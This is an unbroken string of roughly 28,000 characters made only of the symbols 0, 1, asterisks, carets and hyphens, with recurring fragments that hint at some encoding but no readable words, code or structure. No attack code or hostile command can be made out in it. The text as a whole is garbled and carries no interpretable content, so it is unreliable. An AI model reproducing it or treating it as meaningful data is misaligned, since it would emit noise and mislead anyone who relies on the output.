11****001***01^1^-01011*00101****01**011*1*0101*11**^1******001**0011*1*-*******************0101*********00101*********00101********************01011*********0011*00101*^^1*1*1*0^1*1^1*-01*011*001^1*0101****01**101*10-101^101****01****10-1011*01**11*0011****001**101010101^-0-*00-----110---00-*-*101*01^1*^11*-----110---10-*-*101*01^1*^11010^11*1*^1*****01***0-1**1**1*1*1*--------0^-1*-001011*0-11*-----10---1**00-*101*01^1*00-**********1*0^-001**00---011**1*01*1*-----10--1^11**-*101*01^1*10-**1*01^1*-01*--------^10-*-0011011010^1*0-11*1*^1********1**1*00^-1*01*1*-----10--^1011*00-*101*01^1*00101*-11*********^1*0^-001**00--101101**1*01*1*-----10---1*1*0-*101*01^1**11**1*01^1*11011*010101*11*00--------1^-1*-*0011*-----10--10101101*0-*101*01^1*^1101*********010-*00^1*^^10-0-11*0-*01*1*********0^1*^-001**00--101011**1*01*1*-----10--10110-*0-*101*01^1*^1101*****001*101*1***0^1^^1********-00-*00^1011*01*1**1*01^1*01011*--------00110-*-00^1101*011010-11*1*^11*1^-11*1101*01*1*-----10---01^1*-*101*01^1*0101*0-11*********^1*0010-00110101******-01101*101******11**01011011*001******11**00-101*00^-*00--------01^-*-00^1101*10^1********0101^1*001*011*01*1*0010^101011*-11*0011*01*1*-----10--^1^11*-*101*01^1*^1101********0--01*00^1*^110101010-11*1101*01*1*********0^1*^-001**00--1^11**1*01*1*-----10--1*10-*-*101*01^1*1*^1********1101^1*00^1101*01*1**1*01^1**11*0101*00101****01**0^1*1^-0--------0^-1*-**1*-11*---------**00-*101*01^1*0-*0-11*********^1*0^-001**00---101**1*01*1*--------01011**-*101*01^1*110110^1011*1*^-001*-11*1101*01*1**1*01^1*^11*--------110101*00-*101*01^1*0^1*-11*1101*0110101******0-*1*101*01*10-11*010^10-11*011****011**0011*1*101*^11*1*110^^1^101101*001*******************011**1*01*1011*110101******-1*1*101********00110^11*001********00^1*1*001*11****01**01*001*0101*0101*11011010^1**0^1^-001*00^^11*00101*--------0^-1*-*011*0-11*--------1010-*0-*101*01^1*110110^-1*1*^1********0-0011*00^1101*01*1*********1*1*^-001**00--1*11**1*01*1*--------*0^1*-*101*01^1*^1101**********001*00^1*^-101^-11*1101*01*1**1*01^1*01101******01**01**1*****01**0-101*********10-1*****001**01^101********010-101********00110-********10^101*****01**001101101********1101*1*****01**00-1101*****01**0-01*****************1***11*1*****01***11*1*****01**010^101********-011********00-011********0010101******01**00-101*********110-*****01**01*101********010101*101*^101*01*1*0101*01^1*^1*0-11**01*1^1*001*******0-11010--0-1*01^1*001****01*****0--00-*01^1*001****01**001**0--01011*01^1*001****01**0^110^--*11*01^1*001*******-1*10--01101*01^1*001****01**0-010^--001101*01^1*********1***-001*1******011010-*****0101*00-*01***11***1^11011****10101*01*******0-010110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0-010-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01***01^1*101*11*******011**0010^11011*-*001011010^1*-010-1*00^10101010-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*11*******0010101*********^11******011**1^1******001**0^-********01*0101****************00-*1*001********001010^1101*01*1**************************************************************0101*00101*10-01*1*1*-01*1^1*01011****-10-101*01^1*011****011**0011*1*101*^11*1*110101^1^1*01*001*******************0-1*01*01*-1*01^^^11*0-10-101*01^1*0101******001011*-110110^1*01*1*0101*******011*1*10^-----110--1*0101*-*^1*1^1*0101*0-11*^1*01^1*011*****1**11*1*010^^101^-*-**01101*11***1*01*1*001****001***001*--*01*01^1*011*****1**1*001*10^-*001*1*001****001**1^11*--0-*001^1*0101*01*1*0101******00110---01^11*001*1*0101*01*1*-----110--*11011*-*^1*1^1*^110^1011*1*^1*****01**00110101**1*0101*1*1*011*****1*0010-11*010^101*001*1*0101*01*1*001****001**1*11*--0011*****1**00-1*010^-01*0101*01*1*001****001***011*--0110101******11*01*0101******1**01^1**001******1**0101101**0^-01*0101*01*1*-----10--101101**-*^1*1^1*^11*0101*01^1*0101****1**001010^1^-0110101******011**00101******11**0^1011*001******11**^11011*001*-1*01101*011*001*1*0-1*001*001*1*-----10---0-*00-*^1*1^1*^1101******1*00-***00^1^^1********11*-*00^10101*1*1*110101******011**00101*01*10-11*-^10-11*0-1*^101^-*1^1*0101*001*1*01101*001*001*1*-----10--101*11*0-*^1*1^1*^110101*^1********1*0011*001**1*1*1*1*^1*****01**00--**1**1*1*1*110101******00^1*00101********0011011011*001********0010101011*00^^101^-*1^1*0101*001*1*^1*0011*001^1*1*******001*0^1011*10-1*-----10---10^1*-*^1*1^1*10-*101*001^1*1*******001*0^1011*1*11*-11*001*001^1*110101******1*1**101*1011010-11*010^10-11**1*0-*00-----10--110101101*-*^1*1^1**11*110101******011**00101******01**1*0-*001******01**01010-*00^^101^-*101***11010^101^-*1011*00^101^-*1^1**01*001101*01**-----10--1^11011*-*^1*1^1*1101*0-11*110101******011**00101******01**10-11**1******01**0110-**^^101^-*1011*00^101^-*1^1**01*001101*011*00110101******00^1*00101******1***01011**1******1**001^11**^^101^-*1^1**01*0^1*0--------0-**0-*^1*1^1*00-*0011*01*******001*0^1011*1*11010^101^-*101***11010^101^-*1011*00^101^-*1^1*01011*0110101******1*1**101******01**010^11*001******01**01011011*001*001*0-*00--------^-*00-*^1*1^1*1*^1**10-11*00101*1*1*110101******011**0010^^10^-11*01*^-11*^101^-*101**^101^-*1011**001*001101*01**---------0101*0-*^1*1^1*0011*0-11*110101******00^1*00101******01**101011**01******01**110-**0^^101^-*1011**001*0011**011*01*******001*0^1011*1*11010^101^-*101**^101^-*1011*001**-0101*^1*1^1*1101101*-*1*^-001*-11*1^1*1*1*110101******11*011*101******11**11*-*001******11**10^101*00^-*001101*00101****1**01^1^1^-00101*00101******00101^1*0101*01****01**001*-*010-0^^1*******001*0^1011*-01*0-11*****************1**010-011*****01**0010-1*********-11********00-101*********-011*****001**00101******01**001^-********001011******1**00-1*********-00101****************01**00101******01**0-1^1*****01**********01**01^101********0^11*********1*1*101*^^1*1*1*0^1*1^1*11011*^1*-0101*-*01^1*110110^1011*1*^-010^-11**01*1*1*1101*011010^^--1010^10-*^1^-0101*-*01^1*0-1*101**0110^1**00---101*0011*01*1*10^10-0101*-*01^1*01011*0011*01^1*-01*1010--010^1*^-010^-11**01*1*1*0010110-0101*-*01^1*^1101******^11*1010-*001*010^1********101*01*00^-1*01*1*0^1*00110^1**00--101101*0011*01*1*101^-10101*-*01^1*10-*0011*01^1*01101*********--********001*001*********0101********0011***********011*******************************1**********0101********00^1*0101*^-*01*1*0-*01^1*^11**01*1^1*001****01**001**0--0-1*01^1*001*******-1*10--010101*1^1*001****01**0^110^--*101*1^1*001*******0-11010--01^1*1^1*001****01**0-010^--001101*01^1*1**11010^1*1******001010-*****011**101^1****1**001^11011******001010^-*00-----^--1***0-00-*001^1*^1101******10101^101*1*00^1^^10-1*^1*01*1*-----^--0^1**-00-*001^1*^1101********00110^1*00^1*^-01*0-11*0011*01*1*--------1^-1*-*1101*-----^--010101*00-00-*001^1*^110101011*0-11*1*^1********0-0011*001*001*01*1*********0^1*^-001**00---01*0-11*101*001*1*-----^---*1*0-00-*001^1*0-1*101*001^1*-01*--------1^-1*-*-1*-----^--*1101*0-00-*001^1*^11*-11*********^1*0^-001**00--101101*101*001*1*-----^--1101011*0-00-*001^1*10-*-11*101*001^1*01011*1011*001**--------0^-1*-0010-*-11*-----^--**01*-00-*001^1*0101*0-11*********^1*0^-001**00--1^11*101*001*1*-----^--1^^1*-00-*001^1*1^1*-11*101*001^1*11011*001*001^1*01101*--------0^-1*-001^1*-11*-----^--^10101*-00-*001^1*1*^1********-00-*001*101*01*1*********-1*0^-*0-00--0^1^110-11*^110101*^^1*10-11*001****01**001**0--01*^--010-11*001*******0-11010--0-11010-11*001*******0-11010--01**00--101011*101*001*1*-----^--0-1011*-00-*001^1*^110^10-10-11*1*^101011*-11**1*01*1*101*001^1*10-*0011*0110101********11*101******1***01*1*001******1***-001*001*01*001*1*^1*0--------0^-1*-*011*0-11*-----110--0101**0-00-*001^1*1*0^-11*********^1*0^-001**00--^-*101*001*1*-----110--10-**-00-*001^1*00-*101*001^1**11*-----110--*101*00-00-*001^1*^1101*****00^110-1010101*001*010^1********^11011*00^1101*01*1*0101*0110101******0-101*010^-01010-11*10^110-11*011****01**01*001*0101*0101*11011010^1*0^^-11011**01*1101*00101*011*******001011*00101*01*10-11*^11010-11*011*******011**00101*-1*-*001011010^1*11*01011*001*********-*1*00^--------1^-1*-*0-*-----110--1^-*0-00-*001^1*1101*0-11*********^1*0^-001**00---101*101*001*1*-----110--011*01*-00-*001^1*^110101*^1*****01***00-1*001*101*01*1*1*^^-^-11*0101*01*1*101*001^1*1101*0-11*--------0^-1*-001*0^-11*-----110--01^101*-00-*001^1*^1101********11*1101*00^1^^101*010-11*^1*01*1*********0^1*--00110101******0^-*0101******01**01^11**1******01******0^^1**1*001*1*--------0^-1*-00-01*-11*-----110--01101011*-00-*001^1*01011**********1*0^-001**00--10101*0-11*101*001*1*-----110--^10-*-00-*001^1*1*^1********^-01*001*101*01*1*101*001^1*^11*1101*0011****011**0011*1*101*^11*1*110101^-101*1*001********************11*01*0^10-*--------01^-*-00^1101*****001101*011***00^1^^1*****01**0-0^1*00^^1*01*1*-----10---*1*00-00-*001^1*0-1*-11*********^1*0^-001**00--1*11*101*001*1*-----10--1011011*00-00-*001^1*1*^1*11*-11*1011*01*1*101*001^1*^1*0-11*1101*0110101******^101*00101******01***-1**1******01**101^1**^1*******0010^1*011*1*1*0-*00--------0^-1*-00-11*-11*-----10--^^11*0-00-*001^1*^11010-11*-11*1*^^-^-11*0011*01*1*********-1*0^-001**00--10-1*101*001*1*-----10--110-11*0-00-*001^1*01101*-11*101*001^1*0101*0-11*001*001^1**11010-01*001*001*1*--------01^-*-00^1101******^10^1^11**1*010^1*****01**001101101*00^1101*01*1*-----10---*101*-00-*001^1*^1101********-^-*00^1^^-010110-11*^1*01*1*********0^1*^-001**00--1^1*0-11*101*001*1*-----10--1**11*-00-*001^1**01*-11*101*001^1*00-*-----10--^1^11*-00-*001^1*01011*--------01010-*-00^1101010-*1*^1*****01**001*1**01*101*01*1*-----10---*-*-00-*001^1*^1101******^110^-**00^1^^1*****01***0011**0^^1*01*1*********10101*^-001**00---011*101*001*1*--------01***-00-*001^1*-1*0-11*101*001^1*0-1*--------1^-1*-00^11*--------00101**-00-*001^1*^1*0-11*********^1*0^-00110101******11011**101******1**011***001******1***101**00^110101******110-*00101******01**11*11**1******01**-^1**1*101******00-0101*0101*1**0^1*011*00--------0^-1*-00-1*0-11*---------^1*0-00-*001^1*10101*-11*********^1*0^-001**00--110-*101*001*1*--------01*11*0-00-*001^1*1*^11*-0-11**1*01*1*101*001^1*01101******001**0-011******1**0010101*****001**0110-******1**01*011*****0011**011*******1***101******011**101^1*****001**00^1011*****011**-11******01***01*1*****01**011010-********0010-1********^101********00-1*******1**0-1011*****011***0-*******************1*1101********-1011******1**^^1********010^101*****001**1^^1*****001**001*******01***-11********11*11*****0011**010101******1**01*011******1**0010101******1**-^11*****01**001*101********1*0-*****001**1**1********10-001*****011**-1101********001*^101*10-*001*1*-*001^1*1*1*-11*1011*01^1*001****01*****0--*11*01^1*001****01**001**0--01101*01^1*001*******010101010--00101*01^1*001*******0-11010--0^1*01^1*001****01**0^110^--*01*01^1*001****01**0-010^--001101*01^1*********1***-001*1******0^10-******1**11011***0-***1^1^1*1*******0010101*********011*******011**00-******11**0101******0011**0-01*****************0-*1*001******1010^-***************************************************************101*00101*1*011*1*1**11*1^1*01011***********0010-01101^1*********11*0010-0----------0-*-001*^-01*0-11**01*1*1*-----110--*1**0-0010101*1^1**11**********1*00-1^^11010^11*^101^-*1*1*01*1*^1*01*1*-----110--10-**-0010101*1^1*-01*^1*01^1**11010^11*^1*01*1*-----110--110101*00-0010101*1^1*^110101^-0-11*1*^1*********00101*001**1*1*1*0101****01**00101*-101^101*01*1*011****001**1^1^-101^11****01**01*^1*101*1**0101*01*1*011****001**-01^-101^101^1*1101*011*^1*01*1**1*01*1*0101*01*1*011****001**10101^-101^101^1*11010-01*^1*01*1**1*01*1*0101*01*1*011****001**^-00-10110110101******1101011*0101******01**1*001**1******01**-0101**1*11****011**0011*1*101*^11*1*110101^--*1*001********************01*01*0^^11*011****011**10-001*10^1101**-1*110^10-1101*001*0101*11011*01011*-11*0101^1^1*01*1**1*01*1*0101*01*1*0101*01^1*011****001***01^1^-0-*00-----110--0^1101*-0010101*1^1*^1101*-*-11*1*^1*****01***11***1*-*01*1*^1*01^1*01011*-----110---*11*-0010101*1^1*01101*-11**1*01^1*011****011**10^1*00101*11*******001011*00101******1***01^1*001******1**0101*01*001*11**101*0011****01***10^1*101*11*00--------1^-1*-*1101*-----110--0010-1*-0010101*1^1*^1101******010^10-^1*00^1^^1*00^-11*01101*1*1*********0^1*0-1^^1101011011*^101^-*1^1*0101*001*1*-----10--10^1**-0010101*1^1*0-1*101*001^1**11010-01*101*001*1*-----10--1*001*00-0010101*1^1*0101101*011*1*^11*0110-11*0-*01*1*101*001^1**1101*01101*1*001*1*1101*0-11*101*001*1*-----10--1*-*00-0010101*1^1*1*1*-11*0101*0110101******0-101*0101******1**010110-*001******1**0-11011*001*11*******001011*00101******1**010101**001******1***01***1*11****01**01010^1*10^-*001*1*011*001*1*011*00-----10--10101011*0-0010101*1^1*^1101********0101*01*00^1*^1********10101101*001**1*1*1*110101******011**00101******01**0-***1******01**101***0^^101^-*-1*001*1*01101*-*001*1**1101*001*-11*101*001*1*^1*0-----10---01^1*-0010101*1^1*^1101******00^1*-011*001*010^-001*-11*-1*01*1*110101******011**00101******1***^1**01******1**0-101**0^^101^-*1011*001*1*01101*011*001*1**110^1011*101*001*1*^1*0-----10--1*^11*-0010101*1^1*01011*-*001^1*1*******001*0^1011*1*11010-01*^11010-01*001*001*1*011*001^1*1*******001*0^1011*10-1*-----10--110^-*-0010101*1^1*11011010^11*1*^-01*0-11*1*1*1*1*001*001^1*011****001**101*11*10^11*^-11*0011*0-11*1*^1*11010-1*0-11*101*001*1*^1*0--------1^-1*-*0-*--------1101**0-0010101*1^1*0101*0-11*********^1***0^-1*1*^1*11010^11*101*001*1*^1*0--------^10-*-00^1101*****001^1011*^11*001*010^110101010-11*0^1*1*1*--------*011*00-0010101*1^1*0011*0-11*********^1*0010-001*^1*1101*011*101*001*1*^1*0--------^10-*-00^1101*101^-11*1*^1*****01**011*001*001*-*01*1*--------0010101*0-0010101*1^1*10-**********1*0010-001*^1*11010-01*101*001*1*^1*0--------1^-1*-*0-*--------1011011*0-0010101*1^1*^11**********1*0010-001*^1101*001*1*^1*0--------0--*0-0010101*1^1*0-1*101*001^1*01101*001*001^1*01101*1011*0110101******00101**101******01**1^1101*001******01****11*001*001******001**001101011*****01**001******************1**011010-*****001**0^-*****001**010^11*****001**0-10101********011011******1**01^11******1**0-10101********10-11*********0-01*********1^1*****01**001101011*****01**01101*1********^1101*****001**010-11*******************10101011********011011******01**-1^1*****001****01********-11*********-01*101*1010101*1*1*10101*1^1*11011*-----110--0-**0-001011*01^1*0101*0-11*********^1**0-00--------1^-1*-*1101*-----110--01*1*00-001011*01^1*11011**********1*0^-001**00--10-1*1101*01*1*-----110--001011*00-001011*01^1*0-1*1101*01^1*-01*--------1^-1*-*-1*-----110--101*1*0-001011*01^1*-1*0-11*********^1*0^-001**00--101101*1101*01*1*-----110--*1101*0-001011*01^1*^1101*********-001*00^1*^1********0010^1*001**1*1*1*1101*01^1*01011*0011*0011****01**0010^11*101******01**01*101*001******01**110^11*001*1011*-11*--------0^-1*-**1*-11*-----110--^1*1*-001011*01^1*00101*-11*********^1*0^-001**00--1^11*1101*01*1*-----110--00-001*-001011*01^1*0011*0-11*1101*01^1*00-*-----110--*10101*-001011*01^1*^110101*^-101*-11**01*1*1*1*^10^1^-11**01*1*1*0011*0110101******0-*1*101******11**01010-*001******11**00^-*001*11*******00101011*10^^-*011***10-*001*00^10-*00101*-11**1*0--------01^-*-00^1101********001^-*00^1*^1*****01**0101*11*00^1*1*1*1*-----110--11010-*-001011*01^1*^11*-11*********^1*0^-001**00---011*1101*01*1*-----110--0--1*-001011*01^1*01011*-11*1101*01^1**11*0101*0011****011**0011*1*101*^11*1*110101^-001*1*001*******************001**1*0^11011*--------0^-1*-*1011*-11*-----10--101^1*00-001011*01^1*-01*-11*********^1*0^-001**00---101*1101*01*1*-----10--1^-*00-001011*01^1*^11010110-00-11*1*^1********1^1011*00^1*1*1*1*1101*01^1*11011*--------01^-*-00^1101*****001^10-011*1*001*010^1********0-0101*00^-1*01*1*-----10--11*011*0-001011*01^1*^1*0-11*********^1*0^-00110101******-01101*101******11**0^1101*001******11**00101011*00^110101******0-*1*101******1**01010-1*001******1**0110-11*001*11*******00101011*10^^-*011***10-*001*00^10-*********01101101*001*001*0--------1^-1*-*1011*-----10--^^101*-001011*01^1*^1101*********011011*00^1*^1*****01**0110^1**^1*1*1*1*********10101*^-001**00--101011*1101*01*1*-----10---*011*-001011*01^1*^1101********0-00101*00^1*^1********001*01*00^1^1*1*1*1101*01^1*10-******01**0101^11*-00--------^10-*-00^1101******0110101*01**001*010^10^1*-11*0^1*1*1*-----10--1*0-1*-001011*01^1*1*^1*****01**0-***0^1*1*1*1*********-1*0^-001**00--^-*1101*01*1*--------^1**0-001011*01^1*010110^-1*1*^11*0110-11*0-*01*1*1101*01^1*^11*1101*00101****01**0^1*1^-0--------0^-1*-*0011*-11*---------001*00-001011*01^1*0^1*-11*********^1*0^-001**00--1*11*1101*01*1*--------010-*00-001011*01^1*1*1*-11*1101*01^1*0-1*010101*101****01**0^1*1^-0--------00110-*-00^110101*1010-11*1*^101^110-11**01*1*1*--------^1101*0-001011*01^1*^1101*****00110-0-1*1**1*010^1^-00-11*-1*01*1*********0^1*^-001**00--110-*1101*01*1*--------1010-*0-001011*01^1*^1101********010-001*00^1*^1*****01**0110-1**1*-*01*1*1101*01^1*01101******01**0-1*1*****01**010101101********001*01*****01**00-011****************01**010^-*****001**1101*********00^1101********1011011********01^101******1**101011******01**0-001******1**101011********001*001*****001**01*-1*****001**^1101*********011******01**0--******01**^1101********0010^11********10110101*****001**1*-*****001***10101********0-10-*****001**0-001********0-*1******1**0110-********011011*101*101011*01*1*1011*01^1*01101*-11*1^1*1^1*001****01**0-010^--00^1*1^1*001*******010101010--01*1*1^1*001*******0-11010--*001*1^1*001****01*****0--0-1*01^1*001*******-1*10--00-*01^1*001****01**001**0--001101*1^1*001****01**0^110^--001101*01^1*********1***-001*1*******010-*****0011**-101****1**001^11011****10101*01*******1011010110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******1011010-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**00^^1*101*11*******011**00101*0-*-*001011010^1*-01^11*00^1*0^-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1********--------10^1*00-00101*001^1*00-*01010^1*******0011**0010-0-*00--------01^-*-00^1101*****001*10-^11**0^1^^1*****01**001^101*00^-*001*1*---------*1*0-00101*001^1*10-**********1*0010-0010-01*011*^1*01011**011010^1**01*0--------1101101*0-00101*001^1*01011*1011*00101101010^1*001**11******00101*00101***01*101**011010-01*011*00--------1*-*0-00101*001^1*-01*1101*00101*******-1011*101*1**--------**01*-00101*001^1*-01*1101**101*--------1^-1*-0011011*--------*0^1*-00101*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^110^1011010-11*1*011011**001*00--------01010101*-00101*001^1*1*^1*****01**0-***01*11*001*1*0101*001101*--------110-01*-00101*001^1*01101*01^1*11****01**0-1*1*01011*******************0-001********--********00--********001010^1********-11*********^^1********00-011********0--********00--*********001101********00-**********11*0101*10101*001*1*********101*1*0-00-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******0-00-********1010-1**0011***01^1^1***00--------110101*00-*01*001^1*11011*01010^1*******0011**1010-0-*00--------^10-*-00^1101*****00^10^^101**01*010^11*0^-11*011*001*1*--------010^1*0-*01*001^1*^11**********1*0010-0010-01*011**1*0--------0101101*0-*01*001^1*0101*0-11*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00---------1011*0-*01*001^1*00-*1101*00101******0010-011*101*1**--------0--*0-*01*001^1*01011010^11*1*^1*****01**00-011**^101*001*1*1101**101*--------1^-1*-0010-*---------0^1*-*01*001^1*1101*0-11*********^1*********01**0101*101*01^11*00^1101011010^-11*1*011*1*0011**--------1*1101*-*01*001^1*11011*0101*001101*--------110-01*-*01*001^1*01011*01^1*11****01**00-*1*01011*********-********00-1011********0110^1*******************110^1********00101101*********011*********0-*********0-1*1********110^1********00110^1********0110^1********0011*0101*1*1*001*1*********101*1*0-*11*001^1*001*******010101010--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******001^-********-10-**0011***01^1^1*********-----10---10-1*-001011*0^1101******1^1010101***1*010^10-1*-*001*1*01010^10-00--01*010110-11*1*011011**1^^1********10110101*001*01****01**0^110^--********010110101*001*01****01**0^110^--01*******0011**1010-0-*00--------^101*00-001011*0^1101*****00-011*1***001*010^10-1^-11*-*001*1*--------10110-*-001*^1*****01**00-011**1*11*001*1*---------*1*0-001011*0-01*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------0-101*0-001011*0^1101*****00^-1**-*001*010^1********0^1101*00^101*001*1*1101*00101******00^-0-11011011011******011**0011*101**--------0--*0-001011*0^1*0-11*1101**101*--------0010-1*-*-1*--------0-*1*-001011*001011*********-*********001**0101*101*01^11*00^1101**^-11*1*011*1*0011**--------01^101*-001011*00101*0-11*0101*001101*--------*01101*-001011*0^1101********0-1^1*00^1*^1********01*101*001*01*001*1*01^1*11****01**01011*1*01011*******************0^1*********011011*********1^1********011*011********001^1********011*011********01*01********001011*********1*0101*********0^1********001^1*********11*0101*10^1**********00101*0-00-*001^1*001*******-1*10--0011*001^1*001****01**001**0--0101*001^1*001*******010101010--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******010^-*****01**01*11***0011***1^1^1*1*******0010101*********011*******101**01*******11***10-*****01***-*****************00-*1*001******10101*11***************************************************************101*00101*1011011*1*1*11011*1^1*01101***********0010-01101^1*********11*0010-0---------0110-*-00^110^1101*-11*1*^1^11*01101*1*1*-----^--001101*00-0010101*1^1*-1*0-11*********^1*0--00^11010-01*^101^-*10101*01*1*1011*01*1*-----^--01*01*0-0010101*1^1**11*1011*01^1**11010-01*1011*01*1*0101*00101******001^1**10^1*******0010^1*011*11*101^10^11011*01*1*0011*01*1*011*00-----^--01*11*0-0010101*1^1*^110101^-0-11*1*^1*-10-11*01101*1*1*0-^1^1101*10^11011*01*1**1*01*1*0010^11011*01*1*0101*01*1*1011*01*1*0011*01*1*-----^--1**1*-0010101*1^1*1011*0-11*0-^1^1101*10^11011*01*1**1*01*1**1101********0--11*001*010^11011*01*1*0101*01*1*1011*01*1*0011*01*1*--------1^-1*-00^11*-----^--01^101*-0010101*1^1*^1101010101010-11*1*^110-110-11*^11*1*1*********-1**-1*1101*^1101*10^11011*01*1**1*01*1*0010^11011*01*1*0101*01*1*-----^--011*11*-0010101*1^1**11*1011*01^1*01101*0011*01^1*1*******001011*01011*1^101^-*10101*01*1*--------0^-1*-**1*-11*-----^--11*-*-0010101*1^1*00-**********1*0--00^101^-*1011*001*1*1101*01*1*-----^--0110-1*-0010101*1^1*^1*0-11*1101*01^1**11010-01*1101*01*1*-----110--101**00-0010101*1^1*1*^1011*10-11**11*1*1*0-^11*011*10^1^11010-01*1101*01*1*-**010^-01*01*1*011*001*1*^11010-01*1101*01*1*0101*01*1*-----110--00^1*00-0010101*1^1*^1101*****00-101*1011**001*010^110110^-11*-01*1*1*1101*01^1*-01*0101*01^1*1*******001011*01011*1^101^-*1011*001*1*--------0^-1*-*1101*-11*-----110--110^1*0-0010101*1^1*^1101******0010-10^101*001*010^1*****01***-001*00^1*1*1*1*********10101*10-^^101^-*-1*00^101^-*1011*001*1*-----110--0011011*0-0010101*1^1*01101*^1*01^1*00101*1101*0^1*01*1*1101**101*-----110--00-11*0-0010101*1^1*1*^1*0-0-11**11*1*1*110101******011**00101******11**101***01******11**0-***^^101^-*-1*00^101^-*-1*00^1*01*1*01101*-*00-----110--1*0101*-0010101*1^1*^1101*****00110--0^1**01*010^1*11*-11*-01*1*1*110101******011**00101******11**0-0011*001******11**101*11*00^^101^-*-1**1101*^1*01*1*01101*-*00^1*01^1*1*******001011*01011*10101101*011*^101^-*-1*00-----110--01101011*-0010101*1^1*^1101*****0010101^10--*001*010^10-1*-11*-01*1*1*110101******011**00101******1**00101***1******1**01****^^11010-01*^101^-*1011*001*1*-01**1*01*1*-01*011*001*1*-----10---***-0010101*1^1*1^1*-11*0-^11*0110^1**10^101101*011*001*1*01101**1*01*1**1*01^1*1*******001011*01011*1^101^-*1011*001*1*--------01^-*-00^1101*****001^1011010-01*00^1^^1*****01**0-***0^1^1*1*1*-----10--^1011*00-0010101*1^1*0101101*011*1*^1*01010-11*01101*1*1*********0-*00-1^^11010-01*001*001*1*-*001*1*-----10--1101^1*0-0010101*1^1*01011*-*001^1**11010-01*-*001*1*101*001^1**1101*011*101*001*1*-----10--11*011*0-0010101*1^1*11011*-11*0-^-0101******1*-*010^1^-0-11*0-1**01*-11*110101******11*001*10^1^-0-11*-11*-11**11*101*001*1*11**-*001*1*011*001*1*-----10--1011*01*-0010101*1^1*01011*-*001^1*01101*011*001^1*1*******001011*01011*1*11010-01*^11010-01*001*001*1*-----10--10-^1*-0010101*1^1*0^1*-11*101*001^1*01101*001*001^1*1101101*011*110101******0^-*0101******11**10110-*001******11**1101*1*00^11**-----10--10-1101*-0010101*1^1*^1101******01*011*011**^1^^1********001^11*00^1^1*1*1*1011*0110101******1*-*0101******11**1^1011*001******11***10101*001**1*-11*011****011**10-001*10^1101**-1*110^^1^11*001*0101*-01*10-*0011**101*1101**01*01101**101*--------01^-*-00^1101******-0^-1*1*00^1^^1********0011*1*00^1^1*1*1*--------1101**0-0010101*1^1*^1101******0^101^1^1*00^1^^1*****01**010-001*00^1^1*1*1*********10101***10-01*01**---------001*00-0010101*1^1*^110^-0^-11*1*^-101*0^1*1*1*1011*0110101******1*-*0101******1**00-***1******1**01010-**1**1*-11*011*******00101011*10^^-*011***10-*011*00^-01*1011*0-11*--------0010101*0-0010101*1^1*1101*0-11*0011*00101******00101^1*0101*01****01**01*0-*010-0^^1*******001011*01011*10-1*1101*00101******00101^1*0101*01****01****-*010-0^^1*******001011*01011*10-1******01**011010101*****001**00-11*****001****1******01**10-1*********101101********011*011********1011*1*****01**011010101*****001**110-01*****001**101*******1**00--********011*-*****01****-*****001**10-01*****0011**1*011*****0011**-11******011**-11******01****11********0101101******01**1*0-*****001**1101*1******************00^1*1*****001**10^101****************1***1011******11**********11**--********00110-11*****001**10101*********0-1*101*1010101*1*1*10101*1^1*0-1*--------*001*00-**1*1^1*01011**********1**0-00--------01^-*-00^1101*****001*1011*011**0^1^^1*****01**001^101*00^1^1*1*1*--------**1*0-**1*1^1*00-**********1*0^-001**00--1*11*0-*01*1*--------0^101*0-**1*1^1*1*^1********-01101*001*^1*1*1*0-*01^1*-01*--------01^-*-00^1101******-10^10^1**1*010^1*****01**01*-**^1*1*1*1*---------0-*0-**1*1^1*-01**********1*0^-001**00--101101*0-*01*1*--------^1*1*-**1*1^1*0-1*0-*01^1**11*0101*0011****011**0011*1*101*^11*1*110101^-011*1*001*******************01011*01*0^-01*--------1^-1*-*-1*---------10101*-**1*1^1*^11**********1*0^-001**00---101*0-*01*1*--------1*0011*-**1*1^1*^1*0-11*0-*01^1*01101*******************0010^101********001*1********0110-1**********101********0011**********11**********^1********00110-1********0^1011*********^1********001101*0101*1*001*1*1**01*1^1*0101*0-11*1^1*1^1*001****01**0^110^--00^1*1^1*001****01*****0--01*1*1^1*001*******010101010--0^11*1^1*001****01**001**0--*011*1^1*001*******0-11010--0-01*1^1*001*******-1*10--001101*1^1*001****01**0-010^--001101*01^1*********1***-001*1*******^-*****0101**10101****01**001^11011*1*******0010101*********011*******-1*001101101*****0-1*010-*********^1^1******************************1101******-1*0-0011******001*01010-1*****0011**^-********001*********************01101******0-*0011*1********01*0-*****01011*010^11********001*********************01101******011*00^11*********1^1011*****0101**11*1********001*********************01101******001*001^-1*********10-******1*001101*********001********-1101*001***01010^11011*1*1*-----1*0-10^1**-00--------1*-*0-00101*101^1*-01*--------1^-1*-*1101*----------1*0-00101*101^1*^1*0-11*********^1*0^-001**00--1^11**00^1*1*--------0^^1*-00101*101^1*^1101010^110-11*1*^10-1*-11*-00^1*1**00^1^1*-01*--------1^-1*-0011011*--------01010101*-00101*101^1*01011**********1*0^-001**00--101101**00^1*1*--------00-101*-00101*101^1*^11**00^1^1*^11*010101*11********************001***********0101********0-011********0010^1*******************0-011********0010^1********001011*********010^1********0010-01*********01101*********11*0101*10101*101*1*101*101^1*1101*0-11***********0010-01101^1*********11*0010-011*************************************************************0101*00101*1011*0101*1*11*0101^1*01011*00-0110101******001^^-11011011011*******101*01101*0--10-1*0^1*********1011*****************************************01011*********0101*00101*101*00101*1*1*00101^1*^11*********00110^10-0---------^1**-00--001^1*^1101*****00-1*^101**001*010^1101^10-11*^-001*1*------10-10--1010-*101****01**010-*00101*-1*0^1*--------1*11*00-00--001^1**11*-----1^--0^1*-1^^11010-01*1011*01*1*00101*1*1*--------001*1*0-00--001^1*^11*00101*1^1**11010-01*00101*1*1*--------0^101*0-00--001^1*^110^-0010-11*1*^1********01010101*00^-00^1*1*1*1*1^1*011****011**0011*1*101*^11*1*110101^1^11*1*001*******************0^1*01*0